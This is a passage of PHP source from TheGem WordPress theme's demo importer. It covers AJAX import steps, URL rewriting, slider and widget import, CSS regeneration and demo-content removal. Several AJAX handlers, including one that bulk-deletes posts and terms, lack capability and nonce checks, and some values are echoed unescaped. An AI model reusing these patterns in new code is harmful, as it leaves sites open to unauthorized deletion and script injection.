				update_option('thegem_importer_finalize_step', 'sliders');
			} else {
				update_option('thegem_importer_finalize_step', 'settings');
			}
			$content = __('Importing sliders.', 'thegem-importer');
		}
		$status = 10;
	} elseif($step == 'sliders') {
		if(thegem_importer_import_sliders()) {
			update_option('thegem_importer_finalize_step', 'settings');
			$content = __('Importing settings.', 'thegem-importer');
		} else {
			update_option('thegem_importer_finalize_step', 'sliders');
			$content = __('Importing sliders.', 'thegem-importer');
		}
		$status = 10;
	} elseif($step == 'settings') {
		thegem_importer_import_settings();
		delete_option('thegem_importer_finalize_step');
		$content = __('All done.', 'thegem-importer');
	}
	while (ob_get_level() > 0) {
		ob_end_clean();
	}

	echo json_encode(array('status' => $status, 'content' => $content));
	die(-1);
}

add_action('wp_ajax_thegem_importer_progress', 'thegem_importer_progress');
function thegem_importer_progress() {
	$progress = get_option('thegem_importer_progress');
	if(isset($progress['current']) && isset($progress['total'])) {
		$percent = intval($progress['current']) * 100 / intval($progress['total']);
	} else {
		$percent = 0;
	}
	echo json_encode(array('status' => 200, 'percent' => round($percent, 1)));
	die(-1);
}

add_action('wp_ajax_thegem_importer_get_import_step_4', 'thegem_importer_get_import_step_4');
function thegem_importer_get_import_step_4() {
	$import_data = get_option('thegem_importer_data');
	$import_selection = get_option('thegem_importer_selection');
	if(is_array($import_data)) {
		ob_start();
		require_once(ABSPATH . 'wp-admin/includes/file.php');
		require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php');
		require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-direct.php');
		$wp_upload_dir = wp_upload_dir();
		$importer_dir = $wp_upload_dir['basedir'] . '/thegem-importer';
		WP_Filesystem();
		$fs = new WP_Filesystem_Direct(false);
		$fs->rmdir($importer_dir, true);
?>
<div class="thegem-importer-wrap thegem-importer-step-4">
	<?php if($import_data['image'] && $import_data['title']) : ?>
		<div class="import-popup-title">
			<div class="import-image"><img src="<?php echo esc_url($import_data['image']); ?>" alt="<?php echo esc_attr($import_data['title']); ?>"></div>
			<div class="import-title"><?php echo $import_data['title']; ?></div>
		</div>
	<?php endif; ?>
	<?php if($import_selection['import_type'] != 'part') : ?>
		<div class="import-select-title"><?php _e('Demo has been successfully installed.', 'thegem-importer'); ?></div>
		<div class="import-select-title bold"><?php _e('You have a new website now!', 'thegem-importer'); ?></div>
	<?php else : ?>
		<div class="import-select-title"><?php _e('Pages have been successfully installed.', 'thegem-importer'); ?></div>
	<?php endif; ?>
	<div class="import-select-data-text"><?php _e('What would you like to do next?', 'thegem-importer'); ?></div>
	<div class="submit-buttons">
		<a href="<?php echo admin_url('admin.php?page=thegem-theme-options'); ?>"><?php _e('Go to Theme Options', 'thegem-importer'); ?></a>
		<a href="<?php echo get_site_url(); ?>" class="submit-import" target="_blank"><?php _e('Preview Website', 'thegem-importer'); ?></a>
	</div>
	<div class="import-select-data-text bottom-text"><?php _e('or', 'thegem-importer'); ?></div>
	<div class="import-select-data-text bottom-text"><?php printf(__('Learn how to use TheGem theme from <a href="%s" target="_blank">our detailed manual</a>.', 'thegem-importer'), esc_url('https://codex-themes.com/thegem/documentation/')); ?></div>
</div>
<?php
		$content = ob_get_clean();
		echo json_encode(array('status' => 200, 'content' => $content));
	} else {
		echo json_encode(array('status' => 0, 'content' => thegem_importer_error_content('data')));
	}
	die(-1);
}

add_action('wp_ajax_thegem_importer_get_import_cancel', 'thegem_importer_get_import_cancel');
function thegem_importer_get_import_cancel() {
	require_once(ABSPATH . 'wp-admin/includes/file.php');
	require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php');
	require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-direct.php');
	$wp_upload_dir = wp_upload_dir();
	$importer_dir = $wp_upload_dir['basedir'] . '/thegem-importer';
	WP_Filesystem();
	$fs = new WP_Filesystem_Direct(false);
	$fs->rmdir($importer_dir, true);
	die(-1);
}

add_filter('wp_import_post_data_raw', 'thegem_importer_wp_import_post_data_raw');
function thegem_importer_wp_import_post_data_raw($post) {
	$import_data = get_option('thegem_importer_data');
	$upload_dir = wp_upload_dir();
	$post['post_content'] = str_replace($import_data['uploads_url'], $upload_dir['baseurl'], $post['post_content']);
	$post['post_content'] = str_replace($import_data['theme_url'], get_template_directory_uri(), $post['post_content']);

	if($post['post_type'] != 'nav_menu_item') {
		$post['post_title'] = $post['post_title'].' (Demo)';
	}

	return $post;
}

add_filter('wp_import_categories', 'thegem_importer_wp_import_categories');
function thegem_importer_wp_import_categories($categories) {
	if(!empty($categories)) {
		foreach ($categories as $key => $value) {
			$categories[$key]['cat_name']=$categories[$key]['cat_name'].' (Demo)';
		}
	}
	return $categories;
}

add_filter('wp_import_tags', 'thegem_importer_wp_import_tags');
function thegem_importer_wp_import_tags($tags) {
	if(!empty($tags)) {
		foreach ($tags as $key => $value) {
			$tags[$key]['tag_name']=$tags[$key]['tag_name'].' (Demo)';
		}
	}
	return $tags;
}

add_filter('wp_import_terms', 'thegem_importer_wp_import_terms');
function thegem_importer_wp_import_terms($terms) {
	if(!empty($terms)) {
		foreach ($terms as $key => $value) {
			$terms[$key]['term_name']=$terms[$key]['term_name'].' (Demo)';
		}
	}
	return $terms;
}

add_action('import_post_meta', 'thegem_import_post_meta', 11, 3);
function thegem_import_post_meta($post_id, $key, $value) {
	$import_data = get_option('thegem_importer_data');
	$upload_dir = wp_upload_dir();
	if(is_array($value)) {
		foreach($value as $k => $v) {
			if(is_array($v)) {
				foreach($v as $a => $b) {
					if(is_string($value[$k][$a])) {
						$value[$k][$a] = str_replace($import_data['uploads_url'], $upload_dir['baseurl'], $value[$k][$a]);
						$value[$k][$a] = str_replace($import_data['theme_url'], get_template_directory_uri(), $value[$k][$a]);
					}
				}
			} elseif(is_string($value[$k])) {
				$value[$k] = str_replace($import_data['uploads_url'], $upload_dir['baseurl'], $value[$k]);
				$value[$k] = str_replace($import_data['theme_url'], get_template_directory_uri(), $value[$k]);
			}
		}
	} elseif(is_string($value)) {
		$value = str_replace($import_data['uploads_url'], $upload_dir['baseurl'], $value);
		$value = str_replace($import_data['theme_url'], get_template_directory_uri(), $value);
	}
	update_post_meta($post_id, $key, $value);
}

function thegem_importer_update_images() {
	$attachments_data = get_option('thegem_importer_attachments_data');
	$attachments_data = thegem_get_ids_attachment($attachments_data);
	$forms_data = get_option('thegem_importer_forms_data');
	$forms_data = thegem_get_ids_forms($forms_data);
	$rev_sliders = array();
	delete_option('thegem_importer_revsliders_for_import');
	//$product_categories_data = thegem_get_categories_product_json_data();
	$query = new WP_Query( array('post_status' => 'any', 'post_type' => 'any', 'posts_per_page'=>-1) );
	$content_sliders = array();
	while ( $query->have_posts() ) {
		$query->the_post();
		$p = get_post();
		thegem_importer_fix_post_meta($p);
		if(get_post_type() != 'attachment' && !empty($p->post_content)) {
			$original_post_content = $p->post_content;
			$p->post_content = thegem_replace_attachments_content($p->post_content, $attachments_data);
			//$p->post_content = thegem_replace_product_categories_content($p->post_content, $product_categories_data);
			$p->post_content = thegem_replace_forms_content($p->post_content, $forms_data);
			$post_content_sliders = thegem_get_content_sliders($p->post_content);
			if(is_array($post_content_sliders) && !empty($post_content_sliders)) {
				$content_sliders = array_merge($content_sliders, $post_content_sliders);
			}
			if ($original_post_content != $p->post_content) {
				wp_update_post($p);
			}
		}
		$slider_data = thegem_get_sanitize_page_slideshow_data($p->ID);
		if($slider_data['slideshow_type'] == 'revslider') {
			$rev_sliders[$p->ID] = $slider_data['slideshow_revslider'];
		}
	}
	if(is_array($content_sliders) && !empty($content_sliders)) {
		$rev_sliders = array_merge($rev_sliders, $content_sliders);
	}
	update_option('thegem_importer_revsliders_for_import', $rev_sliders);

	$query = new WP_Query( array('post_status' => 'any', 'post_type' => array('thegem_title', 'thegem_footer', 'thegem_templates'), 'posts_per_page'=>-1) );
	while ( $query->have_posts() ) {
		$query->the_post();
		$p = get_post();
		thegem_importer_fix_post_meta($p);
		if(get_post_type() != 'attachment' && !empty($p->post_content)) {
			$p->post_content = thegem_replace_attachments_content($p->post_content, $attachments_data);
			//$p->post_content = thegem_replace_product_categories_content($p->post_content, $product_categories_data);
			$p->post_content = thegem_replace_forms_content($p->post_content, $forms_data);
			wp_update_post($p);
		}
	}
}

function thegem_importer_import_menu() {
	ob_start();
	$wp_upload_dir = wp_upload_dir();
	$importer_dir = $wp_upload_dir['basedir'] . '/thegem-importer';
	if (! defined('WP_LOAD_IMPORTERS')) define('WP_LOAD_IMPORTERS', true);
	require_once(plugin_dir_path( __FILE__ ) . '/inc/wordpress-importer.php');
	set_time_limit(100);
	$thegem_importer_end_work_time = time() + 100;
	$wp_import = new WP_Import();
	$wp_import->fetch_attachments = true;
	$result = $wp_import->import($importer_dir.'/content_menu.xml');
	$content = ob_get_clean();
	return $result;
}

function thegem_importer_import_sliders() {
	$rev_sliders = get_option('thegem_importer_revsliders_for_import');
	if(is_array($rev_sliders)) {
		$id = key($rev_sliders);
		$alias = $rev_sliders[$id];

		$slider_link = thegem_importer_slider_link($alias);
		if(!empty($slider_link)) {
			if (class_exists( 'RevSlider' ) ) {
				$slider = new RevSlider();
				if(!$slider->isAliasExists($alias)) {
					require_once(ABSPATH . 'wp-admin/includes/file.php');
					$tmp = download_url($slider_link);
					if( !is_wp_error( $tmp ) ) {
						$result = $slider->importSliderFromPost(true,true,$tmp);
					}
					unlink($tmp);
				}
			}
		}

		unset($rev_sliders[$id]);
	}
	if(!empty($rev_sliders)) {
		update_option('thegem_importer_revsliders_for_import', $rev_sliders);
		return false;
	}
	return true;
}

function thegem_importer_slider_link($alias) {
	$import_data = get_option('thegem_importer_data');
	if(isset($import_data['sliders']) && isset($import_data['sliders'][$alias])) {
		return $import_data['sliders'][$alias];
	}
	return false;
}

function thegem_importer_process_options() {
	global $wpdb;

	$map = get_option('thegem_import_posts_map');
	write_log('posts map has ' . count($map) . ' elements');
	if (! defined('WP_LOAD_IMPORTERS')) define('WP_LOAD_IMPORTERS', true);
	require_once(plugin_dir_path( __FILE__ ) . 'inc/wordpress-importer.php');

	$options = array(
		'thegem_theme_options',
		'thegem_options_page_settings_blog',
		'thegem_options_page_settings_default',
		'thegem_options_page_settings_global',
		'thegem_options_page_settings_portfolio',
		'thegem_options_page_settings_post',
		'thegem_options_page_settings_product',
		'thegem_options_page_settings_product_categories',
		'thegem_options_page_settings_search'
	);

	foreach($options as $option) {
		write_log("process option $option");

		$data = get_option($option);

		thegem_importer_process_option_helper($data, $map);
		$data = WP_Import::process_content_links($data);
	
		update_option($option, $data);
	}

	$postIds = $wpdb->get_col("select post_id from $wpdb->postmeta where meta_key='thegem_page_data'");

	foreach($postIds as $postId) {
		write_log("process page options for post  $postId");

		$data = get_post_meta($postId, 'thegem_page_data', true);

		thegem_importer_process_option_helper($data, $map);
		$data = WP_Import::process_content_links($data);

		update_post_meta($postId,'thegem_page_data', $data);
	}

	$termIds = $wpdb->get_col("select term_id from $wpdb->termmeta where meta_key='thegem_page_data'");

	foreach($termIds as $termId) {
		write_log("process page options for term  $termId");

		$data = get_term_meta($termId, 'thegem_page_data', true);

		thegem_importer_process_option_helper($data, $map);
		$data = WP_Import::process_content_links($data);

		update_term_meta($termId,'thegem_page_data', $data);
	}

	delete_option('thegem_import_posts_map');
}

function thegem_importer_process_option_helper(&$data, $map) {
	if (is_array($data)) {
		foreach($data as $k=>$v) {
			if (in_array($k, array('title_template', 'footer_custom', 'custom_footer', 'header_builder', 'header_builder_sticky')) ) {
				if ($v && isset($map[$v])) {
					$data[$k] = is_string($v) ? strval($map[$v])  :intval($map[$v]);
					write_log("found option $k with value $v, replacing with $data[$k]");
				} else {
					write_log("found option $k with value $v");
				}
			}
			if (is_array($v)) {
				thegem_importer_process_option_helper($data[$k], $map);
			}
		}
	}
}

function thegem_importer_import_settings() {
	$import_data = get_option('thegem_importer_data');
	$import_selection = get_option('thegem_importer_selection');
	if(is_array($import_data)) {
		if($import_selection['import_type'] != 'part') {
			$menus = array();
			foreach($import_data['menus'] as $position => $slug) {
				$term = get_term_by( 'slug', $slug, 'nav_menu' );
				if($term) {
					$menus[$position] = $term->term_id;
				}
			}
			set_theme_mod('nav_menu_locations', $menus);

			if(isset($import_data['homepage'])) {
				$front_page_id = get_page_by_title($import_data['homepage'].' (Demo)');
				update_option( 'show_on_front', 'page' );
				update_option( 'page_on_front', $front_page_id->ID );
			}


			if(function_exists('WC') && !empty($import_data['woocommerce'])) {
				if(!empty($import_data['woocommerce']['shop_page'])) {
					$shop_page_id = get_page_by_title($import_data['woocommerce']['shop_page'].' (Demo)');
					if($shop_page_id->ID) {
						update_option('woocommerce_shop_page_id', $shop_page_id->ID);
					}
				}
				if(!empty($import_data['woocommerce']['cart_page'])) {
					$cart_page_id = get_page_by_title($import_data['woocommerce']['cart_page'].' (Demo)');
					if(!empty($cart_page_id->ID)) {
						update_option('woocommerce_cart_page_id', $cart_page_id->ID);
					}
				}
				if(!empty($import_data['woocommerce']['checkout_page'])) {
					$checkout_page_id = get_page_by_title($import_data['woocommerce']['checkout_page'].' (Demo)');
					if(!empty($checkout_page_id->ID)) {
						update_option('woocommerce_checkout_page_id', $checkout_page_id->ID);
					}
				}
				if(!empty($import_data['woocommerce']['myaccount_page'])) {
					$myaccount_page_id = get_page_by_title($import_data['woocommerce']['myaccount_page'].' (Demo)');
					if(!empty($myaccount_page_id->ID)) {
						update_option('woocommerce_myaccount_page_id', $myaccount_page_id->ID);
					}
				}
				if(!empty($import_data['woocommerce']['terms_page'])) {
					$terms_page_id = get_page_by_title($import_data['woocommerce']['terms_page'].' (Demo)');
					if(!empty($terms_page_id->ID)) {
						update_option('woocommerce_terms_page_id', $terms_page_id->ID);
					}
				}
				if(!empty($import_data['woocommerce']['wishlist_page'])) {
					$wishlist_page_id = get_page_by_title($import_data['woocommerce']['wishlist_page'].' (Demo)');
					if(!empty($wishlist_page_id->ID)) {
						update_option('yith_wcwl_wishlist_page_id', $wishlist_page_id->ID);
					}
				}
				if(function_exists('wc_update_product_lookup_tables')) {
					wc_update_product_lookup_tables();
				}
			}

		}

		if($import_selection['import_theme_options']) {
			$wp_upload_dir = wp_upload_dir();
			$importer_dir = $wp_upload_dir['basedir'] . '/thegem-importer';
			$options_content = file_get_contents($importer_dir.'/theme_options.json');
			$theme_url = str_replace('/', '\/', get_template_directory_uri());
			$uploads_url = str_replace('/', '\/', $wp_upload_dir['baseurl']);
			$options = get_option('thegem_theme_options');
			$options_content = str_replace(array('#theme_url#', '#upload_url#'), array($theme_url, $uploads_url), $options_content);
			$options_new = json_decode($options_content, true);
			$options_new['purchase_code'] = $options['purchase_code'];
			update_option('thegem_theme_options', $options_new);

			$page_settings_content = file_get_contents($importer_dir.'/page_settings.json');
			$page_settings_content = str_replace(array('#theme_url#', '#upload_url#'), array($theme_url, $uploads_url), $page_settings_content);
			$page_settings = json_decode($page_settings_content, true);
			update_option('thegem_options_page_settings_default', $page_settings['default']);
			update_option('thegem_options_page_settings_blog', $page_settings['blog']);
			update_option('thegem_options_page_settings_search', $page_settings['search']);
			update_option('thegem_options_page_settings_global', $page_settings['global']);
			update_option('thegem_options_page_settings_portfolio', $page_settings['portfolio']);
			update_option('thegem_options_page_settings_post', $page_settings['post']);
			update_option('thegem_options_page_settings_product', $page_settings['product']);
			update_option('thegem_options_page_settings_product_categories', $page_settings['product_categories']);

			if ($import_selection['import_type'] != 'part') {
				$additionals_fonts_content = file_get_contents($importer_dir.'/additionals_fonts.json');
				$additionals_fonts = json_decode($additionals_fonts_content, true);

				$remap_urls = get_option('thegem_import_attachment_urls');

				foreach($additionals_fonts as $fontKey=>$font) {
					foreach($font as $k=>$v) {
						if (preg_match('%^font_url%',$k)) {
							if (isset($remap_urls[$v])) {
								$additionals_fonts[$fontKey][$k] = $remap_urls[$v];
							}
						}
					}
				} 
				update_option('thegem_additionals_fonts', $additionals_fonts);
			}

			thegem_importer_process_options();
		}

		if($import_selection['import_type'] != 'part') {
			$wp_upload_dir = wp_upload_dir();
			$importer_dir = $wp_upload_dir['basedir'] . '/thegem-importer';
			$widgets_content = file_get_contents($importer_dir.'/widgets.json');
			$data = json_decode($widgets_content, true);
			global $wp_registered_sidebars;
			$available_widgets = thegem_importer_available_widgets();
			$widget_instances = array();
			foreach ( $available_widgets as $widget_data ) {
				$widget_instances[ $widget_data['id_base'] ] = get_option( 'widget_' . $widget_data['id_base'] );
			}
			foreach ( $data as $sidebar_id => $widgets ) {
				if ( 'wp_inactive_widgets' === $sidebar_id ) {
					continue;
				}
				if ( isset( $wp_registered_sidebars[ $sidebar_id ] ) ) {
					$sidebar_available	= true;
					$use_sidebar_id	   = $sidebar_id;
				} else {
					$sidebar_available	= false;
					$use_sidebar_id	   = 'wp_inactive_widgets';
				}
				foreach ( $widgets as $widget_instance_id => $widget ) {
					$fail = false;
					$id_base			= preg_replace( '/-[0-9]+$/', '', $widget_instance_id );
					$instance_id_number = str_replace( $id_base . '-', '', $widget_instance_id );
					if ( ! $fail && ! isset( $available_widgets[ $id_base ] ) ) {
						$fail				= true;
					}
					if(! $fail && $id_base === 'tweets') {
						foreach($widget as $key => $value) {
							$widget[$key] = ($key == 'title' || $key == 'count') ? $value : '';
						}
					}
					$widget = json_decode( wp_json_encode( $widget ), true );
					if ( ! $fail && isset( $widget_instances[ $id_base ] ) ) {
						$sidebars_widgets = get_option( 'sidebars_widgets' );
						$sidebar_widgets = isset( $sidebars_widgets[ $use_sidebar_id ] ) ? $sidebars_widgets[ $use_sidebar_id ] : array();
						$single_widget_instances = ! empty( $widget_instances[ $id_base ] ) ? $widget_instances[ $id_base ] : array();
						foreach ( $single_widget_instances as $check_id => $check_widget ) {
							if ( in_array( "$id_base-$check_id", $sidebar_widgets, true ) && (array) $widget === $check_widget ) {
								$fail = true;
								break;
							}
						}
					}
					if ( ! $fail ) {
						$single_widget_instances = get_option( 'widget_' . $id_base );
						$single_widget_instances = ! empty( $single_widget_instances ) ? $single_widget_instances : array(
							'_multiwidget' => 1,
						);
						if(!empty($widget['text'])) {
							$attachments_data = get_option('thegem_importer_attachments_data');
							$attachments_data = thegem_get_ids_attachment($attachments_data);
							$forms_data = get_option('thegem_importer_forms_data');
							$forms_data = thegem_get_ids_forms($forms_data);
							$widget['text'] = thegem_replace_attachments_content($widget['text'], $attachments_data);
							$widget['text'] = thegem_replace_forms_content($widget['text'], $forms_data);
						}

						$single_widget_instances[] = $widget;
						end( $single_widget_instances );
						$new_instance_id_number = key( $single_widget_instances );
						if ( '0' === strval( $new_instance_id_number ) ) {
							$new_instance_id_number = 1;
							$single_widget_instances[ $new_instance_id_number ] = $single_widget_instances[0];
							unset( $single_widget_instances[0] );
						}
						if ( isset( $single_widget_instances['_multiwidget'] ) ) {
							$multiwidget = $single_widget_instances['_multiwidget'];
							unset( $single_widget_instances['_multiwidget'] );
							$single_widget_instances['_multiwidget'] = $multiwidget;
						}
						update_option( 'widget_' . $id_base, $single_widget_instances );
						$sidebars_widgets = get_option( 'sidebars_widgets' );
						if ( ! $sidebars_widgets ) {
							$sidebars_widgets = array();
						}
						$new_instance_id = $id_base . '-' . $new_instance_id_number;
						$sidebars_widgets[ $use_sidebar_id ][] = $new_instance_id;
						update_option( 'sidebars_widgets', $sidebars_widgets );
					}
				}
			}
		}

		global $wpdb;
		$prefix = thegem_get_image_cache_option_key_prefix();
		$wpdb->query("DELETE FROM `{$wpdb->options}` WHERE `option_name` LIKE '%{$prefix}%'");

	}
	flush_rewrite_rules();
}

function thegem_importer_available_widgets() {
	global $wp_registered_widget_controls;
	$widget_controls = $wp_registered_widget_controls;
	$available_widgets = array();
	foreach ( $widget_controls as $widget ) {
		if ( ! empty( $widget['id_base'] ) && ! isset( $available_widgets[ $widget['id_base'] ] ) ) {
			$available_widgets[ $widget['id_base'] ]['id_base'] = $widget['id_base'];
			$available_widgets[ $widget['id_base'] ]['name'] = $widget['name'];
		}
	}
	return $available_widgets;
}

add_action('wp_ajax_thegem_importer_generate_css', 'thegem_importer_generate_css');
function thegem_importer_generate_css() {
	ob_start();
	if (false === ($creds = request_filesystem_credentials(site_url()) ) ) {
		$form_output = ob_get_clean();
		ob_start();
?>
<div class="thegem-importer-wrap thegem-importer-step-css">
	<div class="import-popup-title import-popup-filesystem-credentials-title"><?php _e('Unable to update the theme\'s styles & settings, FTP access details needed.', 'thegem-importer'); ?></div>
	<div class="import-popup-title import-popup-filesystem-credentials-form-title"><?php _e('Connection Information'); ?></div>
	<div class="thegem-importer-filesystem-credentials-form-wrap">
		<?php if(isset($_REQUEST['error'])) : ?>
			<div class="thegem-importer-filesystem-credentials-error"><?php echo esc_html($_REQUEST['error']); ?></div>
		<?php endif; ?>
		<p class="thegem-importer-filesystem-credentials-form-desc"><?php _e('In order to update the theme\'s styles & settings please enter your FTP access details below:', 'thegem-importer'); ?></p>
		<?php echo $form_output; ?>
	</div>
</div>
<?php
		$result_output = ob_get_clean();
		echo json_encode(array('status' => 10, 'content' => $result_output));
		die(-1);
	}
	if(!WP_Filesystem($creds)) {
		ob_clean();
		echo json_encode(array('status' => 20, 'content' => __('Unable to connect to the filesystem. Please confirm your credentials.', 'thegem-importer')));
		die(-1);
	}
	ob_clean();
	ob_start();
	thegem_custom_fonts();
	require get_template_directory() . '/inc/custom-css.php';
	if(file_exists(get_stylesheet_directory() . '/inc/custom-css.php') && get_stylesheet_directory() != get_template_directory()) {
		require get_stylesheet_directory() . '/inc/custom-css.php';
	}
	$custom_css = ob_get_clean();
	ob_start();
	require get_template_directory() . '/inc/style-editor-css.php';
	$editor_css = ob_get_clean();
	global $wp_filesystem;
	$old_name = thegem_get_custom_css_filename();
	$new_name = thegem_generate_custom_css_filename();
	if(!$wp_filesystem->put_contents($wp_filesystem->find_folder(get_stylesheet_directory()) . 'css/'.$new_name.'.css', $custom_css)) {
	} else {
		$wp_filesystem->put_contents($wp_filesystem->find_folder(get_template_directory()) . 'css/style-editor.css', $editor_css);
		if($old_name != 'custom') {
			$wp_filesystem->delete($wp_filesystem->find_folder(get_stylesheet_directory()) . 'css/'.$old_name.'.css', $custom_css);
		}
		thegem_save_custom_css_filename($new_name);
	}
	echo json_encode(array('status' => 200, 'content' => __('Successful', 'thegem-importer')));
	die(-1);
}

add_action('wp_ajax_thegem_importer_remove_demo_confirm', 'thegem_importer_remove_demo_confirm');
function thegem_importer_remove_demo_confirm() {
	ob_start();
?>
<div class="thegem-importer-wrap thegem-importer-remove-demo-confirm">
	<div class="import-remove-demo-text">
		<p><?php _e('With this option you can remove all demo content, which you have imported and which you have not modified.', 'thegem-importer'); ?></p>
		<p><?php _e('IMPORTANT: In case you have edited (and saved) some posts, pages etc., this content will not be removed. This concerns media content as well. If you wish to keep some demo media on your website, you need to remove the word " (Demo)" from the media description of the corresponding media file (image, video etc), otherwise this file will be removed as well.', 'thegem-importer'); ?></p>
	</div>
	<div class="submit-buttons">
		<button type="button" class="remove-demo-confirm"><?php _e('Remove demo content', 'thegem-importer'); ?></button>
	</div>
</div>
<?php
	$output = ob_get_clean();
	echo json_encode(array('status' => 200, 'content' => $output));
	die(-1);
}

add_action('wp_ajax_thegem_importer_remove_demo', 'thegem_importer_remove_demo');
function thegem_importer_remove_demo() {

	global $wpdb;
	$demo_prefix = $wpdb->esc_like(' (Demo)');
	$demo_prefix = '%'.$demo_prefix.'%';

	//deleted attachments
/*	$sql = $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_title LIKE %s AND post_type = %s", $demo_prefix, 'attachment');
	$attachments = $wpdb->get_results($sql, OBJECT);
	foreach ($attachments as $key => $value) {
			wp_delete_attachment($value->ID, true);
	}*/

	//deleted posts
	$sql = $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_title LIKE %s", $demo_prefix);
	$posts = $wpdb->get_results($sql, OBJECT);
	foreach ($posts as $key => $value) {
		wp_delete_post($value->ID, true);
	}

	//deleted terms
	$sql = $wpdb->prepare("SELECT term_id FROM $wpdb->terms WHERE name LIKE %s", $demo_prefix);
	$terms = $wpdb->get_results($sql, OBJECT);
	foreach ($terms as $key => $value) {
		$term = get_term($value->term_id);
		wp_delete_term($term->term_id, $term->taxonomy);
	}

	//update menu
	$menus = get_nav_menu_locations();
	foreach($menus as $position => $id) {
		$term = get_term_by( 'term_id', $id, 'nav_menu' );
		if(empty($term)) {
			$menus[$position] = false;
		}
	}

	delete_option('thegem_import_attachment_urls');

	set_theme_mod('nav_menu_locations', $menus);

	ob_start();
?>
<div class="thegem-importer-wrap thegem-importer-remove-demo">
	<div class="import-select-title"><?php _e('Demo data has been removed.', 'thegem-importer'); ?></div>
	<div class="submit-buttons">
		<button type="button" class="cancel-import"><?php _e('Close', 'thegem-importer'); ?></button>
	</div>
</div>
<?php
	$output = ob_get_clean();
	echo json_encode(array('status' => 200, 'content' => $output));
	die(-1);
}

//add_filter('wp_import_terms', 'thegem_importer_wp_import_pa_terms');
function thegem_importer_wp_import_pa_terms($terms) {
	if(function_exists('wc_create_attribute')) {
		foreach($terms as $term ) {
			if(strpos($term['term_taxonomy'], 'pa_') === 0) {
				wc_create_attribute(array(
					'slug' => substr($term['term_taxonomy'], 3),
					'name' => ucfirst(substr($term['term_taxonomy'], 3)),
				));
			}
		}
	}
	return $terms;
}

function thegem_importer_fix_post_meta($p) {
	$metas = get_post_meta($p->ID, '', true);
	if(!empty($metas) && is_array($metas)) {
		foreach($metas as $key => $meta) {
			$value = get_post_meta($p->ID, $key, true);
			do_action( 'import_post_meta', $p->ID, $key, $value );
		}
	}
}

function thegem_importer_error_content($error = '') {
	ob_start();
?>
<div class="thegem-importer-wrap thegem-importer-error">
	<div class="import-select-data-title"><?php _e('Attention', 'thegem-importer'); ?></div>
	<div class="import-error-info">
		<?php if($error == 'ajax') : ?>
			<div class="import-error-title"><?php _e('Problem occured while processing the ajax request. Possible reasons for that:', 'thegem-importer'); ?></div>
			<div class="import-error-text">
				<p><?php printf(__('1. Your server settings do not correspond with the recommended server settings (check here <a href="%s" target="_blank">%s</a>). Please contact your hoster and ask them to adjust your settings.', 'thegem-importer'), 'https://codexthemes.ticksy.com/article/8024/', 'https://codexthemes.ticksy.com/article/8024/'); ?></p>
				<p><?php _e('2. Your desktop is using some proxy with restricted ajax processing settings. Please disable any proxy on your desktop.', 'thegem-importer'); ?></p>
				<p><?php _e('3. No internet connection. Please check your internet connection.', 'thegem-importer'); ?></p>
				<p><?php printf(__('Please check this points and restart demo import. In case the problem will remain, <a href="%s" target="_blank">contact our support at codexthemes.ticksy.com</a>.', 'thegem-importer'), 'https://codexthemes.ticksy.com/'); ?></p>
			</div>
		<?php elseif($error == 'connecting') : ?>
			<div class="import-error-title"><?php _e('Some troubles with connecting to demo-content server. Possible reasons for that:', 'thegem-importer'); ?></div>
			<div class="import-error-text">
				<p><?php _e('1. Your server\'s firewall is blocking requests to our server with demo content (IP 213.227.135.142). Please contact your hoster and ask them to whitelist this IP.', 'thegem-importer'); ?></p>
				<p><?php _e('2. cURL extension is not installed on your host/server. Please contact your hoster and ask them to install cURL.', 'thegem-importer'); ?></p>
				<p><?php _e('3. Our demo-content server is not accessible. Please try to import again later.', 'thegem-importer'); ?></p>
			</div>
		<?php elseif($error == 'data') : ?>
			<div class="import-error-title"><?php _e('Bad data package. Please re-try importing or contact our support.', 'thegem-importer'); ?></div>
		<?php else : ?>
			<div class="import-error-title"><?php echo $error; ?></div>
		<?php endif; ?>
		<div class="submit-buttons">
			<button type="button" class="cancel-import"><?php _e('Close', 'thegem-importer'); ?></button>
		</div>
	</div>
</div>
<?php
	$output = ob_get_clean();
	return $output;
}